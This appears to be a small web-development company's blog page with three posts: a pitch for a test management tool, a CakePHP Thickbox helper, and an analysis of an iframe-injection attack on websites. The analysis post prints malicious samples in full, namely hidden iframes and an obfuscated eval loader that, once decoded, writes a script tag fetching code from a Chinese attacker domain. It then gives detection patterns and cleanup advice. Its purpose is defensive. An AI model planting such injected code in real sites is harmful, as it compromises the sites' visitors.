21 Apr

7 reasons you’re testing your app wrong!

Best Practices, Ideas, Latest Developments, Our Apps

  1. No Test Cases: Your testers don’t have a fixed list of tests they have to execute, they are in the wild with lots of guess work.
  2. Waiting for crisis: Unless there is a major visible failure, no one in your team cares about testing.
  3. Isolation: Your testers start testing on their own and finish on their own when they feel like, and you have no report of which tests were passed, which were failed.
  4. Delayed Releases: Releases are delayed many times because of last minute test failures.
  5. Thinking too late: Not thinking about testing before you write your first line of code.
  6. No track of time: You don’t even know how much time you need to put in testing in first place.
  7. Complexity: Your app’s tests are so complex that you need to teach your testers how to test first, before they can actually start testing. Or even worse, you don’t want to hire testers because you know it’ll be too complex for anyone else.

Any of this sounds familiar? If yes, don’t be shy – we sucked at testing as much as you do (actually maybe more since you took time to read this post), before we decided we had to do something about it.

We’re building something very promising, a test case management system which will effectively work with you in solving all the problems listed above. If it looks worth to you, signup to our newsletter and we’ll inform you once we launch it. Even if you already use one, you’ll definitely find it faster, easier and leaner.

Update: Check out our new test case management app!

25 May

Reverse Engineering & removing new enhanced HTML Iframe Injection attack

Latest Developments

I’ve spent many hours fixing this ongoing latest Iframe injection trend lately, And I’ve noticed one thing, every time our team fixes it up – it comes back in a new enhanced form which is difficult to delete automatically. Like the first time it began with:

<iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

echo “<iframe src=\”http://goooogleadsence.biz/?click=8F9DA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

After that, code got better and less readable. And now the final version looks like this:

<!–

(function(KWaP){var hSgtJ=’:76a:72:20a:3d:22ScriptEngine:22:2c:62:3d:22:56:65rs:

69on()+:22:2cj:3d:22:22:2cu:3dn:61vigato:72:2eus:65:72:41gent:3bif((u:2einde:78Of(:

22Chrom:65:22):3c0:29:26:26(u:2e:69nd:65:78Of(:22Win:22):3e0):26:26(:75:2eindex:

4ff(:22:4eT:206:22):3c0):26:26(d:6f:63um:65nt:2ecookie:2ei:6edex:4ff(:22miek:3d1:

22):3c0):26:26:28:74y:70e:6f:66(:7arvz:74s:29:21:3dtyp:65:6ff:28:22A:22))):

7bz:72:76zt:73:3d:22A:22:3be:76al(:22if(:77indow:2e:22+:61+:22)j:3dj+:22+:61+:22:

4dajo:72:22+b+:61+:22Mi:6eo:72:22+b:2ba+:22B:75ild:22+:62+:22j:3b:22):

3bdocument:2ewrite(:22:3c:73:63r:69:70:74:20src:3d:2f:2fma:22:2b:22rt:75z:2e:63n:

2f:76i:64:2f:3f:69d:3d:22+j+:22:3e:3c:5c:2f:73cript:3e:22):3b:7d’;

eval(unescape(hSgtJ.replace(KWaP,’%')))})(/\:/g);

–>

Let’s reverse engineer it for fun. See that little evil eval()? Replace it by alert() or any other logger function like console.log() for Firebug. That will give us:

<!–

var a=”ScriptEngine”,b=”Version()+”,j=”",u=navigator.userAgent;if((u.indexOf(”Chrome”)<0)&&(u.indexOf(”Win”)>0)&&(u.indexOf(”NT 6″)<0)&&(document.cookie.indexOf(”miek=1″)<0)&&(typeof(zrvzts)!=typeof(”A”))){zrvzts=”A”;

eval(”if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);document.write(”<script src=//ma”+”rtuz.cn/vid/?id=”+j+”><\/script>”);}

–>

That *.cn domain is back again. To find this new injection, common pattern you need to lookup is as below:

3bdocument:2ewrite(:

Some other patterns you might want to check:

document.write(’<iframe

www.zj5173.com

How to clean your website?

Use ‘grep’ command or any other tool for Windows like PowerGrep. Other possible idea for an advanced user to avoid these attacks is to use a version control tool, and keep your site as a checked out copy. The advantage using this method is that you’ll know all the modified files just by issuing simple “svn status” command.

 

You can also contact us directly if you need assistance on this. We’ve helped securing over 50+ websites in last 3 months.

11 Feb

Thickbox Helper for CakePHP

CakePHP, Latest Developments

It's quite difficult to copy-paste JavaScript for same thing again and again. That's why I've come up with Thickbox helper for CakePHP – as a result of a project which involved lot of thickboxes implementations. For those who don't know what it is be sure to check Thickbox jQuery Plugin.

To use it, just include this helper in your controller and Its implementation is very simple:

1. For inline content:

PHP:
  1. <?
  2. $thickbox->setProperties(array('id'=>'domId', 'height'=>'300', 'width'=>'334')); // set height, width and DOM ID
  3. $thickbox->setPreviewContent('click me'); // the link which will trigger thickbox on click
  4. $thickbox->setMainContent('<div>see it??</div>'); // the content which will be shown in thickbox
  5. echo $thickbox->output();
  6. ?>

 

2. For AJAX:

PHP:
  1. $thickbox->setProperties(array('id'=>'domId','type'=>'ajax','ajaxUrl'=>'/controller/action'));
  2. $thickbox->setPreviewContent("Click me to see thickbox");
  3. echo $thickbox->output();

Here's the helper:

PHP:
  1. <?php
  2. class ThickboxHelper extends AppHelper {
  3.  
  4.     var $helpers = array('Javascript', 'Html');
  5.    
  6.     /**
  7.      * Set properties - DOM ID, Height and Width, Type of thickbox window - inline or ajax
  8.      *
  9.      * @param array $options
  10.      */
  11.     function setProperties($options = array())
  12.     {
  13.         if(!isset($options['type']))
  14.         {
  15.             $options['type'] = 'inline';
  16.         }
  17.         $this->options = $options;
  18.     }
  19.    
  20.     function setPreviewContent($content)
  21.     {
  22.         $this->options['previewContent'] = $content;
  23.     }
  24.  
  25.     function setMainContent($content)
  26.     {
  27.         $this->options['mainContent'] = $content;
  28.     }
  29.    
  30.     function reset()
  31.     {
  32.         $this->options = array();
  33.     }
  34.    
  35.     function output()
  36.     {
  37.         extract($this->options);
  38.         if($type=='inline')
  39.         {
  40.             $href = '#TB_inline?';
  41.             $href .= '&inlineId='.$id;
  42.         }
  43.         elseif($type=='ajax')
  44.         {
  45.             $ajaxUrl = $this->Html->url($ajaxUrl);
  46.             $href = $ajaxUrl.'?';
  47.         }
  48.                
  49.         if(isset($height))
  50.         {
  51.             $href .= '&height='.$height;
  52.         }
  53.         if(isset($width))
  54.         {
  55.             $href .= '&width='.$width;
  56.         }
  57.        
  58.        
  59.         $output = '<a class="thickbox" href="'.$href.'">'.$previewContent.'</a>';
  60.        
  61.         if($type=='inline')
  62.         {
  63.             $output .= '<div id="'.$id.'" style="display:none;">'.$mainContent.'</div>';
  64.         }
  65.        
  66.         unset($this->options);
  67.        
  68.         return $output;
  69.     }
  70.    
  71.     function beforeRender()
  72.     {
  73.         $out = $this->Html->css('/effects/css/thickbox.css').'<script src="'.$this->Html->url('/effects/js/thickbox-compressed.js').'"></script>';
  74.         $view =& ClassRegistry::getObject('view');
  75.         $view->addScript($out);
  76.     }
  77.  
  78. }
  79. ?>

 

You'll need to copy the thickbox files to /app/webroot/effects. You can keep it in any folder for that matter, but as our team is following plugins – it's made that way.

- Abhimanyu Grover

Hire us

Contact us to get a free quote on your project.